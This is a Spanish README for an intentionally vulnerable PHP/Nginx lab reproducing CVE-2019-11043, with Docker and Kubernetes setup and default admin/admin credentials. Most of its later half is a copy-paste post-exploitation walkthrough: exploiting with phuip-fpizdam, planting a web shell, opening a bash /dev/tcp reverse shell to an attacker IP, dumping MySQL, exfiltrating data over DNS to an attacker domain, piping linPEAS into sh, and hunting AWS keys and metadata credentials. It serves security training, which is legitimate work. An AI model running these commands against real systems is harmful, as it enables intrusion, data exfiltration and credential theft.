Aplicación de Gestión de Tareas (Laboratorio CVE-2019-11043)

Aplicación PHP mínima con configuración Nginx/PHP-FPM intencionalmente vulnerable para reproducir CVE-2019-11043. Incluye un pequeño gestor de tareas, login/administrador y una interfaz de configuración de la base de datos.

Compilar y ejecutar (Docker)

# build
docker build -t cve-2019-11043-lab:app .

# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app

# open
open http://localhost:8080/

Inicio rápido del exploit

Usa phuip-fpizdam contra status.php, deja que detecte los parámetros y luego vuelve a ejecutarlo con --skip-detect.

~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"

Soporte de bases de datos

La aplicación admite SQLite y MySQL con detección automática:

SQLite (predeterminado)

• DSN: sqlite:/var/www/html/data/app.sqlite
• No requiere autenticación
• Configuración automática - el archivo de la base de datos se crea en la primera ejecución
• Perfecto para desarrollo y pruebas

MySQL (opcional)

• DSN: mysql:host=hostname;port=3306;dbname=database;charset=utf8mb4
• Requiere autenticación con usuario/contraseña
• Anulación mediante variables de entorno para despliegues en Kubernetes

Variables de entorno

Cuando estas variables de entorno están definidas, anulan automáticamente el DSN:

• DB_HOST - Hostname de la base de datos
• DB_PORT - Puerto de la base de datos (predeterminado: 3306)
• DB_NAME - Nombre de la base de datos
• DB_USER - Usuario de la base de datos
• DB_PASS - Contraseña de la base de datos

Migraciones automáticas

• La aplicación ejecuta migraciones bajo demanda a partir de las solicitudes (p. ej., index.php, login.php, admin.php).
• Las sondas de K8s consultan /health.php, que también verifica la conectividad con la base de datos.
• No se requiere un trabajo de migración externo ni PHP local.

Despliegue en Kubernetes (EKS)

Los manifiestos están en k8s/:

• k8s/secret.yaml: Credenciales de MySQL (placeholders de stringData)
• k8s/mysql-deployment.yaml: Deployment de MySQL + Service
• k8s/app-deployment.yaml: Deployment de la aplicación (privilegiado) + Service; monta el secreto y establece las variables de entorno de la base de datos
• k8s/ingress.yaml: Ingress de Nginx que enruta a la aplicación

El placeholder de la imagen usa quay.io: cambia quay.io/your-org/cve-2019-11043-lab:app a tu repositorio.

Orden de aplicación:

kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml

El Ingress asume un Nginx Ingress Controller y que taskapp.local apunte a su dirección mediante DNS/hosts.

Estructura del proyecto

• public/: raíz web (puntos de entrada)
• app/: helpers de la aplicación (config, db, auth, version)
• php/: anulaciones ini de PHP-FPM
• k8s/: manifiestos de Kubernetes
• data/: datos de ejecución (base de datos SQLite, config)

Administrador predeterminado

Inicia sesión en /login.php con admin / admin (la pista de la interfaz está oculta mediante CSS).

Interfaz de configuración de la base de datos

Accede a /db_config.php como administrador para:

• Ver el estado y el tipo actuales de la base de datos
• Cambiar entre SQLite y MySQL
• Configurar los parámetros de conexión
• Ver ejemplos de conexión para ambos tipos de base de datos

Aviso legal

Este es un entorno intencionalmente vulnerable. No lo expongas a redes no confiables.

Compilación de imagen multi-plataforma (Buildx)

Compila y sube una imagen multi-arquitectura (linux/amd64, linux/arm64) a quay.io.

Requisitos previos: Docker Buildx (Docker Desktop lo incluye). Emulación QEMU opcional: docker run --privileged --rm tonistiigi/binfmt --install all.

# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app

# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap

# build and push multi-arch image
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  -t "$IMG" \
  -t "${IMG}-$(date +%Y%m%d)" \
  --push .

# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"

De extremo a extremo con phuip-fpizdam (copiar y pegar)

Define los objetivos:

BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"

Explotación (detección automática y luego ejecución final):

~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"

Coloca una mini web shell y verifica la ejecución:

# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"

Continúa con los Ejercicios de Laboratorio de Post-Explotación a continuación para reverse shell, volcado de MySQL, exfiltración por DNS TXT, linPEAS y búsqueda de claves de AWS.

Ejercicios de laboratorio de post-explotación (solo para este laboratorio)

Estos pasos son solo para uso educativo en este entorno de laboratorio.

Define tu URL base y la IP del atacante:

BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444

1) Obtén ejecución de comandos y coloca una web shell simple

Después de explotar CVE-2019-11043 con phuip-fpizdam, usa la primitiva RCE para escribir una mini web shell. Si ya tienes una shell dentro del contenedor, ejecuta:

# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null

Si solo tienes RCE (sin shell), ejecuta la misma escritura base64 mediante la primitiva RCE (p. ej., a través de la herramienta de explotación).

Valida:

curl -s "$BASE/sh.php?c=whoami"

2) whoami

curl -s "$BASE/sh.php?c=whoami"

3) Intento de reverse shell (bash /dev/tcp)

En tu host atacante:

nc -lvnp "$ATTACKER_PORT"

Actívalo desde el objetivo (comando codificado en URL):

ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

Si bash no está disponible, intenta:

ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

4) Copia de seguridad de MySQL (volcado)

Opción A (vía operador del clúster):

kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz

Opción B (mediante web shell con PHP PDO): escribe un script de volcado rápido que use la configuración de la aplicación:

# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
  $rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
  echo "-- Table: {$t}\n";
  echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP

# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json

5) Exfiltración mediante DNS TXT (ejemplo sencillo)

Apunta un dominio de prueba que controles (p. ej., exf.attacker.tld) a un servidor de nombres en el que captures tráfico (p. ej., dnschef o bind). Luego, desde el objetivo, dispara consultas DNS que transporten fragmentos:

# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\''' 
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"

Observa las consultas en tu servidor de nombres y reconstruye los datos a partir de las etiquetas.

6) Descarga y ejecuta linPEAS (enumeración de escalada de privilegios)

curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

7) Busca claves de AWS

# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'

# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"

# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true

De nuevo: realiza solo estas acciones dentro de este laboratorio. Nunca pruebes contra sistemas que no poseas o para los que no tengas permiso explícito de evaluar.